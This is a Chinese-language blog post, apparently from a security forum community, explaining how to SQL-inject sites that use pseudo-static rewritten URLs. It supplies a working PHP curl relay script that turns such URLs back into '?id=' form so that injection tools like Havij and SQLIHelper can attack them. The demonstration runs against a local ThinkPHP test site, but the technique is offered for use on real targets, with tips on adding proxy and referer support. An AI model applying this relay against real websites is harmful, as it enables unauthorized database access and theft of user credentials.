|
今天在微博看到有位童鞋遇到了一个伪静态的注入点。因为自动化工具都会检测url,所以无法依赖工具快速注入了。 T00ls之前有位叫xiamig的童鞋,发布过关于伪静态的文章,让人获益匪浅! 连接如下: http://www.t00ls.net/thread-7934-1-1.html //伪静态注入 http://www.t00ls.net/thread-9058-1-1.html //伪静态注入实战篇 通常情况下,动态脚本的网站的url类似下面这样 http://www.xxoo.net/aa.php?id=123 做了伪静态之后类似这样 http://www.xxoo.net/aa.php/id/123.html 以斜杠“/”代替了“=”并在最后加上.html,这样一来,就无法直接用工具来注入了,至于手动的方法,xiamig的文章有详细的讲解。 现在我们就来讨论下如何用工具来注入,大家都知道cookies注入中转吧,其实原理都差不多,我们自己写一个动态网页脚本,构造自己的url规则,通过这个页面中转来访问目标页!即我们把伪静态url规则变回原来的?id=123这样的形式,形成一个普通的可方便注入的url。 好吧,试验下! 我在本地用thinkphp搭建了一个简单的注入点,因为thinkphp自带了简单的伪静态,比较方便演示。 这个注入点的sql如下: 接收get过来的id SELECT `account` AS `username`,`password` FROM `think_user` WHERE id=1 页面url如下: http://localhost/inj/index.php/index/index/id/1.html 变幻1的值来注入! 我比较熟悉php,就用php来写一个注入中转页面吧
- set_time_limit(0);
- $id=$_GET["id"];
- $id=str_replace(" ","%20",$id);
- $id=str_replace("=","%3D",$id);
-
- $url = "http://localhost/inj/index.php/index/index/id/$id.html";
-
- $ch = curl_init();
- curl_setopt($ch, CURLOPT_URL, "$url");
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
- curl_setopt($ch, CURLOPT_HEADER, 0);
- $output = curl_exec($ch);
- curl_close($ch);
- print_r($output);
将这个文件保存成inj.php即可,这个文件url如下: http://localhost/inj/inj.php 把产生注入的$id根据目标页的伪静态规则放到指定的位置就可以了。如上。 原理就是通过curl来取得目标页的内容(与直接访问目标页效果一样),只需要修改$url的内容就可以适应各种伪静态规则了。 脚本比较简陋,有需要的童鞋,可根据情况加入post方式,代理,referer等功能。 我们现在访问http://localhost/inj/inj.php?id=1 , 即相当于访问http://localhost/inj/index.php/index/index/id/1.html , 呵呵,现在我们就可以把http://localhost/inj/inj.php?id=1 这个连接放到工具里面注入了。 如图,havij,SQLIHelper可以注入:
文章写的不好,望各位童鞋勿怪,抛砖引玉了,大家有啥好想法,不妨一起交流交流!
Author:舞林 腾讯微博:http://t.qq.com/wulinlw
|